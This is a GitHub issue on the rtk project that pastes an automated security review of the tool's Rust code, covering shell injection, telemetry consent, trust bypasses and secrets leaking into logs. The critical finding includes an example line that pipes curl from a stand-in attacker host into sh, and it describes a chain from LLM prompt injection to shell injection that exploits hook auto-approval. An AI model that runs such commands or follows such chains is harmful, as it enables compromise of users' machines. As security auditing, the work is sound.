rtk-ai/rtk

I asked claude --effort high to do a security review of rtk

Open

#640 opened on Mar 16, 2026

View on GitHub
 (12 comments) (3 reactions) (1 assignee)Rust (2,914 forks)batch import
area:securitybugeffort-largehelp wantedpriority:high

Repository metrics

Stars
 (48,085 stars)
PR merge metrics
 (Avg merge 11d 1h) (45 merged PRs in 30d)

Description

I love this idea and I am constantly trying to squeeze more value of a session because once a compression happens, in a complex collaborative session, important knowledge is always lost.

I know nothing, I just pulled the repo and ask Claude how safe it was. I was taken aback by the answer. Just because it seems like such an obvious thing to do, and the output was was more scary than I expected ...

Feel free to close this, I'm actually running rtk right now, but I felt like I need to at least mention this.

RTK Security Review

Date: 2026-03-16 Reviewer: Claude Opus 4.6 (automated) Scope: Full codebase at commit 4467296 (master)

Critical High Medium Low Info
1 3 5 4 3

Overall verdict: Mostly sound architecture with real security engineering (SHA-256 hook pinning, trust boundaries), but some significant issues. The project has done more security work than the typical CLI tool.


Policy vs Implementation Gap

The project has an existing SECURITY.md with a thorough PR review policy. Several findings in this review directly contradict the project's own stated security rules:

Policy rule (SECURITY.md) Violation found
Command::new("sh") listed as dangerous pattern (line 109) runner.rs and summary.rs use exactly this pattern (C-1)
"No shell, direct binary execution" (line 159) sh -c with unsanitized user input in 3 code paths
"NEVER use .unwrap() in src/" (line 172) tee.rs byte-index slicing panics on multi-byte UTF-8 (L-3)
"Data exfiltration" listed as a risk (line 24) Telemetry sends device hash + top commands with no opt-in consent (H-1)
"Canonicalize file paths to prevent traversal attacks" (line 181) RTK_TEE_DIR accepted without validation (M-1)
"tracking.db exposure" listed as a concern (line 24) Full command strings with secrets stored for 90 days (M-2)

The security policy describes the right approach — the implementation doesn't fully match it.


Critical

C-1: Shell injection via sh -c in runner.rs / summary.rs

Files: src/runner.rs (lines 14-27, 73-86), src/summary.rs (lines 15-28)

All three commands (rtk err, rtk test, rtk summary) receive a free-form string from the user (or from the Claude Code hook which rewrites arbitrary user commands) and pass it directly to sh -c / cmd /C:

// runner.rs — the command string is user-controlled
Command::new("sh")
    .args(["-c", command])   // command = args.join(" "), unescaped

The command argument is constructed in main.rs as args.join(" "), where args comes from Vec<String> captured by Clap with trailing_var_arg = true. A command like:

rtk err cargo test; curl -s evil.example.com | sh

is a legitimate RTK invocation in which the shell receives cargo test; curl -s evil.example.com | sh verbatim. Because RTK's hook rewrites things like cargo test to rtk test cargo test, a carefully crafted Claude Code session that causes Claude to run cargo test; <payload> would be rewritten into shell injection via this path.

The severity is elevated because:

  1. The hook grants permissionDecision: "allow" automatically, bypassing Claude Code's normal permission prompt.
  2. The inputs flow from the LLM's tool-call output, creating an LLM prompt-injection -> shell-injection chain.

Fix: Reconstruct the command using execv-style argument passing, never via the shell:

// Instead of sh -c "all args joined as string":
let tokens = shell_split(command);
if let Some((bin, rest)) = tokens.split_first() {
    utils::resolved_command(bin).args(rest).status()?;
}

If shell features like pipes and semicolons are intentional (so users can do rtk err "cargo build && cargo test"), document this as a trust boundary: only commands typed by the authenticated local user, not commands rewritten from LLM output, should flow through this path. The hook should not rewrite commands that contain shell metacharacters.


High

H-1: Telemetry sends usage data with no install-time consent

File: src/telemetry.rs

When built with RTK_TELEMETRY_URL (which the official Homebrew build uses), telemetry sends to a third-party endpoint:

let payload = serde_json::json!({
    "device_hash": device_hash,   // SHA-256(hostname + username)
    "top_commands": top_commands,  // ["rtk git log", "rtk cargo test", ...]
    "tokens_saved_24h": tokens_saved_24h,
    "tokens_saved_total": tokens_saved_total,
    ...
});

Issues:

  • device_hash is a persistent identifier derived from hostname and username — stable across sessions, linkable to a specific workstation.
  • top_commands reveals what tools/workflows the user runs. Combined with the device hash, this is a behavioral fingerprint.
  • No install-time consent dialog. telemetry.enabled = true is the default. Opt-out requires editing ~/.config/rtk/config.toml.
  • The telemetry URL and token are compiled into the binary from GitHub Actions secrets. Users cannot inspect the endpoint without disassembling.

Fix: (1) Display a one-time opt-in prompt during rtk init or first run, storing the answer in config.toml. (2) Default to telemetry.enabled = false. (3) Print the telemetry URL in rtk config --show so users can see where data goes.

H-2: CI trust bypass — RTK_TRUST_PROJECT_FILTERS=1 is trivially exploitable

File: src/trust.rs (lines 98-110)

if std::env::var("RTK_TRUST_PROJECT_FILTERS").as_deref() == Ok("1") {
    let in_ci = std::env::var("CI").is_ok()
        || std::env::var("GITHUB_ACTIONS").is_ok()
        ...
    if in_ci {
        return Ok(TrustStatus::EnvOverride);
    }
}

The CI detection prevents .envrc injection, but a repo's Makefile, shell script, or test fixture can trivially set CI=1 and RTK_TRUST_PROJECT_FILTERS=1 before invoking rtk, bypassing the trust model entirely and auto-loading an untrusted .rtk/filters.toml.

Fix: Require stronger CI context proof (e.g., GITHUB_TOKEN, GITLAB_TOKEN, or /proc/1/cgroup patterns). Alternatively, accept that CI override is a privileged configuration that must be set by the CI platform itself, not by repo code.

H-3: Global filters loaded without integrity check

File: src/toml_filter.rs (lines 210-218)

// Priority 2: user-global ~/.config/rtk/filters.toml
if let Some(config_dir) = dirs::config_dir() {
    let global_path = config_dir.join("rtk").join("filters.toml");
    if let Ok(content) = std::fs::read_to_string(&global_path) {
        match Self::parse_and_compile(&content, "user-global") {
            Ok(f) => filters.extend(f),

Project-local .rtk/filters.toml requires SHA-256 verification, but ~/.config/rtk/filters.toml is trusted unconditionally. If malware modifies the global filter, it can:

  • Suppress security scanner output (via match_output with catch-all pattern)
  • Rewrite arbitrary command output via replace rules
  • Silently hide vulnerability findings from the LLM

This is particularly dangerous because RTK sits in the LLM's output pipeline.

Fix: Apply the same SHA-256 pinning to the global filter. On first load, prompt the user to review and accept. On change, flag as ContentChanged and refuse to load.


Medium

M-1: tee.rs path traversal via RTK_TEE_DIR environment variable

File: src/tee.rs (lines 36-38)

if let Ok(dir) = std::env::var("RTK_TEE_DIR") {
    return Some(PathBuf::from(dir));
}

The directory is used directly without canonicalization or validation. A value of RTK_TEE_DIR=../../etc would write files into unexpected locations. Combined with the LLM's ability to set environment variables in tool calls, this could write files to locations the user didn't intend.

Fix:

let dir = PathBuf::from(&dir_str);
if dir.is_relative() {
    eprintln!("rtk: RTK_TEE_DIR must be an absolute path, ignoring");
    return None;
}

M-2: Secrets stored in tracking database

File: src/tracking.rs (lines 360-373)

The original_cmd and rtk_cmd fields stored in SQLite include full command strings with all arguments. Commands like rtk psql -U admin -W mysecretpassword or rtk curl -H "Authorization: Bearer tok_abc123" persist verbatim in ~/.local/share/rtk/tracking.db for 90 days. Since rtk gain --history renders these rows, they may also appear in LLM context.

Fix: Strip known flag-value patterns (bearer tokens, --password, -p, -W, Authorization:) from original_cmd before storage.

M-3: ANSI regex does not cover OSC sequences

File: src/utils.rs (lines 48-52)

The ANSI stripping regex \x1b\[[0-9;]*[a-zA-Z] does not cover OSC sequences (\x1b]...ST), hyperlink sequences, or other VT100 codes. Outputs with OSC hyperlinks (common in modern terminal emulators) pass through unstripped, potentially injecting embedded URLs into the LLM context.

M-4: runner.rs does not propagate exit codes in all paths

File: src/runner.rs (lines 92-103)

When cargo test fails with non-zero exit code but the filter produces output, RTK exits 0. Claude Code receives a 0 exit code and assumes the test command succeeded. The run_test function prints the summary and returns Ok(()) without calling std::process::exit(exit_code).

Fix: Add std::process::exit(exit_code) at the end of both run_err and run_test when exit_code != 0.

M-5: rtk proxy logs full command strings to tracking DB

File: src/main.rs (lines 2092-2097)

The proxy command records full command and arguments to the tracking database. For commands like rtk proxy curl -H "Authorization: Bearer sk-abc", the bearer token ends up in SQLite for 90 days. Same issue as M-2 but in the proxy path where users may run more sensitive commands.


Low

L-1: Hook audit log has no size limit

File: .claude/hooks/rtk-rewrite.sh (lines 9-17)

When RTK_HOOK_AUDIT=1 is set, every hook invocation appends to hook-audit.log with no rotation or size cap. In long sessions this grows unboundedly and preserves potentially sensitive command arguments indefinitely.

L-2: rtk env --show-all exposes secrets to LLM without warning

File: src/env_cmd.rs (line 248)

rtk env --show-all disables all masking and prints raw values of AWS_SECRET_ACCESS_KEY, GITHUB_TOKEN, etc. to stdout. In a Claude Code session, this exposes all secrets to the LLM's context window without any confirmation prompt. The sensitive pattern list is also missing patterns like passwd, pass, and pwd.

L-3: tee.rs byte-index slice panics on multi-byte UTF-8

File: src/tee.rs (lines 122-126)

let content = if raw.len() > max_file_size {
    format!(
        "{}\n\n--- truncated at {} bytes ---",
        &raw[..max_file_size],   // byte-index slice
        max_file_size
    )

&raw[..max_file_size] panics if the index falls in the middle of a multi-byte UTF-8 character (e.g., Japanese error messages, emoji in test names).

Fix:

let boundary = raw.floor_char_boundary(max_file_size);
format!("{}\n\n--- truncated at {} bytes ---", &raw[..boundary], max_file_size)

L-4: sanitize_slug byte-index slice assumption

File: src/tee.rs (lines 27-29)

if sanitized.len() > 40 {
    sanitized[..40].to_string()  // byte slice, not char slice
}

Safe in practice because the preceding map ensures only ASCII characters pass through, but relies on an implicit invariant. Use sanitized.chars().take(40).collect::<String>() to be explicit.


Info

I-1: Hook auto-approval widens Claude Code's attack surface

File: .claude/hooks/rtk-rewrite.sh (lines 61-70)

The hook outputs permissionDecision: "allow" for every rewritten command. Any command RTK rewrites is auto-approved without user prompt. The rtk verify / integrity::runtime_check() mechanism guards against hook tampering, which is the right mitigation. Expanding what RTK rewrites transitively expands what is auto-approved.

I-2: ureq background thread violates "zero async" constraint in spirit

File: src/telemetry.rs (line 44), Cargo.toml (line 31)

Telemetry spawns a thread::spawn to fire HTTP requests. While std::thread::spawn is not async, it does create a background thread. If the main thread exits before the background thread finishes, there's a SIGTERM race. In practice this is benign.

I-3: SQLite GLOB path matching breaks on Windows paths with brackets

File: src/tracking.rs (lines 54-61)

SQLite's GLOB operator treats [, ], *, and ? as special characters. A Windows path like C:\projects\[client-A]\myapp\ would cause glob matching to fail. A plain LIKE with ESCAPE or prefix substring check would be safer cross-platform.

Contributor guide